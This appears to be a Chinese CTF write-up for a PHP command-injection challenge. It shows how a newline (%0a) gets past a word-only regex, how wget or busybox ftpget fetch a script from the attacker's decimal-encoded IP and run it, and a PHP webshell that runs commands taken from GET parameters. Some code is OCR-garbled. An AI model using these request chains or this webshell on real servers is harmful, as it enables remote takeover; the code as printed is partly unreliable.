1 命令执行

题目源码:

代码分析:在目录sandbox下,新建以 IP地址 命名的目录

代码分析:接受GET方式提交的参数args (数组)匹配数组中每一项是否只由数字、 字母、下划线组成,最后执行/bin/true命令,并且拼接args参数。

args=[1,2,3] => /bin/true 1 2 3

题眼:

1、根据循环遍历代码: Si=0; Si<count(Sargs); Si++,可知Sargs是一个数组。

2、根据匹配代码: preg_match('/^\w+S/', Sargs[Si) ,可知Sargs中每一项必须只能由数字、字母、下划线组成。必须绕过

3、根据执行代码implode(" ", $args),可知$args中每一项都使用 " "空格分隔,符合执行多条命令的条件。

那么此时是否可以直接读取flag值? 正则匹配打消念头。 另辟蹊径,上传(下载) webshell, 取得无限制的命令执行接口。

题目分析:

1、命令换行

两条命令执行,需要由分隔,否则系统无法识别。

\n -> url编码%0a,并且%0a也会绕过 匹配代码。

访问URL: http://ip/?args[]=a%0A&args[]=touch&args]=abc,相当于执行以下shell命令。

/bin/true a

touch abc

此时在IP地址命名的目录下,新建了一个abc文件。

2、IP地址匹配

        IP地址使用点分十进制表示,此时程序在匹配过程中,会无法匹配到。因此可以使用IP地址的十进制格式绕过匹配

例如:

127.0.0.1

2130706433

在线转换地址: https://www.whois365.com/cn/tools/decimal-ip/encode/127.0.0.1

注意:文件后缀名的 也会被匹配,因此文件后缀名无法出现。

实现:无需文件后缀名即可调用执行相关代码


解题方法: wget 或 busybox->ftpget # %0a->换行符

1、上传shell

http:/ /localhost/

?args[0]=x%0a

&args[1] =mkdir

&args [2 ]=abc%0a

&args[3]=cd

&args [4 ]=abc%0a

&args[5] =wget

&args[6]=IP地址%0a

http://localhost/?args[ ]=aa%0a&args[ ]=busybox&args[ ]=ftpget&args[]=

<IP_IN_ DECIMAL>&args[ ]=script

2、执行shell

http://localhost/

?args[0]=x%0a

&args[1]=tar

&args[2]=cvf

&args[3]=aa

&args [4]=abc%0a

&args[5]=php

&args[6]=aa

http://localhost/?args[ ]=aa%0a&args[ ]=php&args[ ]=script

shell代码:

<?php

file_put_contents(' shell.php' , '

<?php

header("Content-Type: text/plain");

print shell_exec($_GET["cmd"]);

?>

');

?>

接下来访问abc目录下的shell.php即可对服务器接管, 寻找flag值。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值